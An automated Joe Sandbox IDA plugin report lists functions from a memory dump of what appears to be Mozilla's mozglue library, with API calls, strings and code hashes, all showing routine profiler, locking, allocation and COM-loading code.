Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: ab17cfff86e6c12cf7f3f54f705e5eaff69fcb2e950854bd5c28714e0bdb2014
Instruction ID: 8c2c78ee163ce345aeb9a9382c8cdf6224992bad22d44fd63978911aee6e8b1c
Opcode Fuzzy Hash: ab17cfff86e6c12cf7f3f54f705e5eaff69fcb2e950854bd5c28714e0bdb2014
Instruction Fuzzy Hash: D041F6B1A002059FDB18DF68DC90DAE7769BF88318B25422CE815DB794EB31E905C7E1

Function 6C54B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C54B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C54B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C54B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C54B5F4
__Init_thread_footer.LIBCMT ref: 6C54B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C54B61F
std::_Facet_Register.LIBCPMT ref: 6C54B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C54B655

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 3afe64e034abeae298276de62a5c64bc6a492aac986c6689da635242f5e9dd0b
Instruction ID: 6bb4df23af8f54ea8cf92ffafdd07cc5e273403050cbfb2a950d692f924c1407
Opcode Fuzzy Hash: 3afe64e034abeae298276de62a5c64bc6a492aac986c6689da635242f5e9dd0b
Instruction Fuzzy Hash: 60318F71B00204CBCF00EF69CC989AEB7B5FF8A324B964519D90697781DB31A906CB95

Function 6C516590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C50FA80: GetCurrentThreadId.KERNEL32 ref: 6C50FA8D
Part of subcall function 6C50FA80: AcquireSRWLockExclusive.KERNEL32(6C55F448), ref: 6C50FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C516727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C5167C8

Part of subcall function 6C524290: memcpy.VCRUNTIME140(?,?,6C532003,6C530AD9,?,6C530AD9,00000000,?,6C530AD9,?,00000004,?,6C531A62,?,6C532003,?), ref: 6C5242C4

Strings

data, xrefs: 6C516593
vUl, xrefs: 6C51696C

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$vUl
API String ID: 511789754-3511496017
Opcode ID: 5cd1d3707beeeaa55a1a26ce5f0c3d13a6296c56f248869d1957fa88f458320f
Instruction ID: 1aa911cf9f449c6251d9080a358008f546be6580e3ac84a90826315a0d3c4f27
Opcode Fuzzy Hash: 5cd1d3707beeeaa55a1a26ce5f0c3d13a6296c56f248869d1957fa88f458320f
Instruction Fuzzy Hash: 5BD19E75A083408BD724DF25CC55B9EBBE5EFC5308F50892ED58987B91EB30A849CB92

Function 6C50D5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C4DEB57,?,?,?,?,?,?,?,?,?), ref: 6C50D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C4DEB57,?), ref: 6C50D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C4DEB57,?), ref: 6C50D673
free.MOZGLUE(?), ref: 6C50D888

Strings

WMl, xrefs: 6C50D5D9, 6C50D63F
|Enabled, xrefs: 6C50D81E

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: WMl$|Enabled
API String ID: 4142949111-27182069
Opcode ID: 066d3dd08ad87baab23353a75acfbe3fa6dcd760d18b791aec3964fdc1d978b9
Instruction ID: 6b77c40a96e019b1baa90a57332318e1965589b368983649f8042ab0972dc88f
Opcode Fuzzy Hash: 066d3dd08ad87baab23353a75acfbe3fa6dcd760d18b791aec3964fdc1d978b9
Instruction Fuzzy Hash: 9AA1E2B0B003058FDB11CF69CC90BAEBBF1AF49318F58855CD899AB742D735A945CBA1

Function 6C4EB790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C52CC83,?,?,?,?,?,?,?,?,?,6C52BCAE,?,?,6C51DC2C), ref: 6C4EB7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C52CC83,?,?,?,?,?,?,?,?,?,6C52BCAE,?,?,6C51DC2C), ref: 6C4EB80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C52CC83,?,?,?,?,?,?,?,?,?,6C52BCAE), ref: 6C4EB88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C52CC83,?,?,?,?,?,?,?,?,?,6C52BCAE,?,?,6C51DC2C), ref: 6C4EB896

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 839c88a3d82c51bc44c4efccd10c0a719b3e18bcbae31de6925a7fc76f0cd75d
Instruction ID: 98c30d6e9b0eb1191556452bb368863457d3b27bef8a89c100187807ffe18f21
Opcode Fuzzy Hash: 839c88a3d82c51bc44c4efccd10c0a719b3e18bcbae31de6925a7fc76f0cd75d
Instruction Fuzzy Hash: 1A516A357006048FCB15DF59C888E3AB7F5FF8D31AB5A8559E98A87751C730E802CB88

Function 6C521D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C521D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C521BE3,?,?,6C521D96,00000000), ref: 6C521D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C521BE3,?,?,6C521D96,00000000), ref: 6C521D4C
GetCurrentThreadId.KERNEL32 ref: 6C521DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C521DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C521DDA

Part of subcall function 6C521EF0: GetCurrentThreadId.KERNEL32 ref: 6C521F03
Part of subcall function 6C521EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C521DF2,00000000,00000000), ref: 6C521F0C
Part of subcall function 6C521EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C521F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C521DF4

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 4d48c1c1b37b186809f48fd3841c48588d0a4062081b89d5aa5ebc0c6a5cd385
Instruction ID: 67f9729a0c717aecc77407e37afc9ad5a1c7021f2f71dde8b5abc7677540f3d5
Opcode Fuzzy Hash: 4d48c1c1b37b186809f48fd3841c48588d0a4062081b89d5aa5ebc0c6a5cd385
Instruction Fuzzy Hash: A04166B5200700DFCB10DF29C888A56BBF9FB89324F51442EE99A87B81DB75F854CB95

Function 6C5184E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5184F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C51850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C51851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C51855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C51856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5185AC

Part of subcall function 6C517670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C5185B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C51767F
Part of subcall function 6C517670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C5185B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C517693
Part of subcall function 6C517670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C5185B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5176A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5185B2

Part of subcall function 6C4F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C4F5EDB
Part of subcall function 6C4F5E90: memset.VCRUNTIME140(ewSl,000000E5,?), ref: 6C4F5F27
Part of subcall function 6C4F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C4F5FB2

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: f5514833d41c268d0586c29dbe98f8664ea2fd4a283aa33cff697593116be929
Instruction ID: 26680e453d8c64d81b35c69b426c39f1c8ef96ad4c004d80c5ff37e6f3bef7e5
Opcode Fuzzy Hash: f5514833d41c268d0586c29dbe98f8664ea2fd4a283aa33cff697593116be929
Instruction Fuzzy Hash: EC216D742056019BEB24DF29CC88A5A77B5EF8430CF164829E55B83F42EB31F948CB56

Function 6C4E1640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C4E1699
VerSetConditionMask.NTDLL ref: 6C4E16CB
VerSetConditionMask.NTDLL ref: 6C4E16D7
VerSetConditionMask.NTDLL ref: 6C4E16DE
VerSetConditionMask.NTDLL ref: 6C4E16E5
VerSetConditionMask.NTDLL ref: 6C4E16EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C4E16F9

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: f5e20ac4df8c5ef7320001e4d3130bf8f47c8954466bbd478c05012434b97522
Instruction ID: b102370272a60fdb7ddf50535139f1f58e7c24a438c8255c1155fc4aa3c94ab3
Opcode Fuzzy Hash: f5e20ac4df8c5ef7320001e4d3130bf8f47c8954466bbd478c05012434b97522
Instruction Fuzzy Hash: F621D5B07402086FEB11AB648C85FBB73BCEFC6704F414528F6459B181C678AD548AA1

Function 6C51F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C51F598), ref: 6C51F621

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

GetCurrentThreadId.KERNEL32 ref: 6C51F637
AcquireSRWLockExclusive.KERNEL32(6C55F4B8,?,?,00000000,?,6C51F598), ref: 6C51F645
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8,?,?,00000000,?,6C51F598), ref: 6C51F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C51F62A

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 46b7a2c30401f28b38c48fa7e36bc7bc4e069d207aae2f21446da2213382edd7
Instruction ID: 671ed7e3cd39fdc4488d6dc10d7ea607c067fb2f3cbdbd2bc388f8c84fdc9897
Opcode Fuzzy Hash: 46b7a2c30401f28b38c48fa7e36bc7bc4e069d207aae2f21446da2213382edd7
Instruction Fuzzy Hash: 0511E335305204EBDB04AF19DC4C9A5B7B9FFC636CB950116EA0583F42CB72AC21CBA4

Function 6C4E2070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

LoadLibraryW.KERNEL32(combase.dll,6C4E1C5F), ref: 6C4E20AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6C4E20CD
__Init_thread_footer.LIBCMT ref: 6C4E20E1
FreeLibrary.KERNEL32 ref: 6C4E2124

Strings

CoInitializeSecurity, xrefs: 6C4E20C7
combase.dll, xrefs: 6C4E20A9

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: 421150eafbb3d46f795fd131cfc39b97a47f87ee2e7a952e874b750bb7e81382
Instruction ID: 724b7dcfe417fddd0408b3a881c7a3e8ff2e37171c7e054a0abc05ff653d243c
Opcode Fuzzy Hash: 421150eafbb3d46f795fd131cfc39b97a47f87ee2e7a952e874b750bb7e81382
Instruction Fuzzy Hash: 3421BB3620020AEFDF20DF58EC4CD9A3B76FB4A326F524215FA0492691DB319861CFA4

Function 6C5376C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C5376F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C537705

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C537717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C53778F,00000000,00000000,00000000,00000000), ref: 6C537731
free.MOZGLUE(00000000), ref: 6C537760

Strings

}>Ql, xrefs: 6C5376C4

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>Ql
API String ID: 2538299546-1900031649
Opcode ID: 83f767da9bb20691958f0ebd8e91ae91aec32de17eb14697e31e230d531d6c7e
Instruction ID: 7cd4cb3be489ca738c33d0f4a790c6aced969121796f8d091fd407002e45737d
Opcode Fuzzy Hash: 83f767da9bb20691958f0ebd8e91ae91aec32de17eb14697e31e230d531d6c7e
Instruction Fuzzy Hash: A911B6B1D04325ABEB10AF759D44B6B7FE8EF45354F044529F84897300F771985487E2

Function 6C4E1FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C4E1FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C4E1FFD
__Init_thread_footer.LIBCMT ref: 6C4E2011
FreeLibrary.KERNEL32 ref: 6C4E2059

Strings

CoCreateInstance, xrefs: 6C4E1FF7
combase.dll, xrefs: 6C4E1FD9

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: b57cd3329e0fccb3480fa59ba7fc28de5f59386f8efde55c0aed59186981f012
Instruction ID: e6702fa9680ce75b793fe7058ce0083f8d3425a0553f290eec4ea28777307759
Opcode Fuzzy Hash: b57cd3329e0fccb3480fa59ba7fc28de5f59386f8efde55c0aed59186981f012
Instruction Fuzzy Hash: E6114C75701205AFDF20DF15CC4CE5A3B79EB8A35AF524229EA0592781DB319811CB65

Function 6C4E0EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C50D9F0,00000000), ref: 6C4E0F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C4E0F3C
__Init_thread_footer.LIBCMT ref: 6C4E0F50
FreeLibrary.KERNEL32(?,6C50D9F0,00000000), ref: 6C4E0F86

Strings

CoInitializeEx, xrefs: 6C4E0F36
combase.dll, xrefs: 6C4E0F18

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 97015c26e983c54b75a468d06697f12f283c3fe1e0f0c08c86324733d312cd67
Instruction ID: 5c17cb0f4842a5239aa8d0bed3f75784ee9aa877dd618baf9bf4494b4ac05709
Opcode Fuzzy Hash: 97015c26e983c54b75a468d06697f12f283c3fe1e0f0c08c86324733d312cd67
Instruction Fuzzy Hash: B811A0757052409BDF00DF98CD08F5E3774EB8A327F86432AE91592746DBB0A815CA5D

Function 6C51F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F561

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

GetCurrentThreadId.KERNEL32 ref: 6C51F577
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F585
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F5A3

Strings

[I %d/%d] profiler_pause_sampling, xrefs: 6C51F3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C51F56A
[I %d/%d] profiler_resume, xrefs: 6C51F239
[I %d/%d] profiler_resume_sampling, xrefs: 6C51F499

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
